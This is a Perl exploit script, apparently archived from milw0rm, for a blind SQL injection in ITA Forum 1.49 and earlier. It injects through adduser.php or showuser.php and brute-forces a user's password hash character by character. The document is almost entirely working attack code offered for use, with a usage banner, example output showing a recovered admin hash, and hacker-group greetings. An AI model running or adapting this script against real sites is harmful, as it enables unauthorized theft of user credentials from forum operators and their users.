r57ita.pl.txt

`#!/usr/bin/perl  
  
use LWP::UserAgent;  
  
# ITA Forum 1.49 sql injection exploit with one char bruteforce by 1dt.w0lf // r57  
#   
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
# example:  
# r57ita.pl http://127.0.0.1/ITA/ admin 0  
# [!] Exploiting adduser.php  
# Please wait...  
# [xxxxxxxxxxxxxxxx]  
#  
# USER_NAME: admin  
# USER_PASS: 340878063a81cd71  
#  
# example2:  
# r57ita.pl http://127.0.0.1/ITA/ admin 1  
# [!] Exploiting showuser.php  
# Please wait...  
# [xxxxxxxxxxxxxxxx]  
#  
# USER_NAME: admin  
# USER_PASS: 340878063a81cd71  
# ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  
# greets2:  
# foster and all ghc members  
  
$path = $ARGV[0];  
$username = $ARGV[1];  
$target = $ARGV[2];  
  
$s_num = 1;  
$|++;  
  
if (@ARGV < 2) { &usage; }  
  
if($target)   
{   
$string = $username;  
$path = $path."showuser.php";   
print " [!] Exploiting showuser.php\r\n";   
}  
else   
{   
$string = "Этот логин уже занят!";  
$path = $path."adduser.php";   
print " [!] Exploiting adduser.php\r\n";   
}  
  
print " Please wait...\r\n";  
print " [";  
  
while(1)  
{  
if(&found(47,58)==0) { &found(96,122); }   
$char = $i;  
if ($char=="0")   
{   
print qq{]   
  
USER_NAME: $username  
USER_PASS: $allchar  
};  
exit();   
}  
else   
{   
print "x";   
$allchar .= chr($char);   
}  
$s_num++;  
}  
  
sub found($$)  
{  
my $fmin = $_[0];  
my $fmax = $_[1];  
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }  
  
$r = int($fmax - ($fmax-$fmin)/2);  
$check = " BETWEEN $r AND $fmax";  
if ( &check($check) ) { &found($r,$fmax); }  
else { &found($fmin,$r); }  
}  
  
sub crack($$)  
{  
my $cmin = $_[0];  
my $cmax = $_[1];  
$i = $cmin;  
while ($i<$cmax)  
{  
$crcheck = "=$i";  
if ( &check($crcheck) ) { return $i; }  
$i++;  
}  
$i = 0;  
return $i;  
}  
  
sub check($)  
{  
$n++;  
$ccheck = $_[0];  
if($target){  
$http_query = $path."?uid=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";  
}  
else{  
$http_query = $path."?user_pass1=ghc4ever&user_pass2=ghc4ever&user_email=root\@microsoft.com&Submit=true&user_login=".$username."\' AND ascii(substring(user_pass,".$s_num.",1))".$ccheck." /*";  
}  
# wanna view xpl work?  
# print "\r\n$http_query\r\n";  
$mcb_reguest = LWP::UserAgent->new() or die;  
$res = $mcb_reguest->post($http_query);   
@results = $res->content;   
  
foreach $result(@results)  
{  
if ($result =~ /$string/) { return 1; }  
}  
return 0;  
}  
  
  
sub usage()  
{  
print q(  
ITA Forum version <= 1.49 sql injection exploit ver2  
==========================================================  
usage: r57ita.pl [path/to/forum/] [user_name] [target]  
targets:  
0 - adduser.php   
1 - showuser.php  
==========================================================   
e.g.: r57ita.pl http://blah.com/ admin 0  
==========================================================  
visit www.rst.void.ru for more info  
);  
exit();  
}  
  
//milw0rm.com  
`